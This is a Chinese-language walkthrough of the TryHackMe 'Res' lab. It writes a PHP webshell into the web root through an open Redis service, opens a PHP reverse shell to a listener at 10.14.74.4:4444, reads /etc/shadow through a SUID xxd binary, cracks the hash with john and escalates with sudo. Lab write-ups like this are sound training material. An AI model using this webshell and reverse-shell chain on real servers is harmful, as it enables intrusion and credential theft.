tryhackme-Res(资源)

这是我第一次接触redis,这个题目是最简单的
信息收集
使用nmap进行端口扫描
根据扫描结果,开放了80端口和6379端口(redis)服务

对80端口进行目录扫描没有得到任何有用的信息,占时没太大用处

根据改题目的描述和题目名称,改题目需要对redis服务进行下手,在网上查找到了redis服务渗透测试指南
参考:https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#authenticated-enumeration
其中讲到可以使用redis写入PHP Webshell

代码如下
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
初始访问权限
使用redis-cli -h target_ip -p 6379连接靶机
接着使用上述方法写入Junglezt.php,内容为<?php system($_GET['cmd']);?>


现在我们可以执行命令了,使用php获取反弹shell
代码如下:
php -r '$sock=fsockopen("10.14.74.4","4444");exec("/bin/bash -i 0>&3 2>&3 1>&3");'
由于是GET方式传参,需要使用url编码,编码后如下
php%20-r%20'%24sock%3Dfsockopen(%2210.14.74.4%22%2C%224444%22)%3Bexec(%22%2Fbin%2Fbash%20-i%200%3E%263%202%3E%263%201%3E%263%22)%3B'
传入cmd参数,在本地nc -lvp 4444监听,使用浏览器访问获得shell
10.10.194.198/Junglezt.php?cmd=php%20-r%20'%24sock%3Dfsockopen(%2210.14.74.4%22%2C%224444%22)%3Bexec(%22%2Fbin%2Fbash%20-i%200%3E%263%202%3E%263%201%3E%263%22)%3B'

接着获取user.txt

权限提升
接着需要权限提升,查找suid文件发现xxd命令可以使用,查找GTFOBins找到对应方法可以读取任意文件,我们读取/etc/shadow

得到vianka用户的hash,使用john破解


得到vianka用户的密码为beautiful1
使用su切换到该用户时报错

是因为终端的问题,由于靶机的22端口也没有开放,我们也没有权限开放靶机22端口的权限,这里需要使用python生成一个终端
python -c "import pty;pty.spawn('/bin/bash')"

获取root权限
我们需要继续提权,接着使用sudo -l发现我们可以执行任何root用户的命令,使用sudo su得到root权限

总结
- 这个靶机学习到了一些
redis的基本操作,另外还有一个ssh私钥获取shell的方法,但是不适用这个靶机 php反弹shell的终端不可以使用su命令,在没有开启22端口的情况下,可以使用python的pty方法获取一个伪终端

浙公网安备 33010602011771号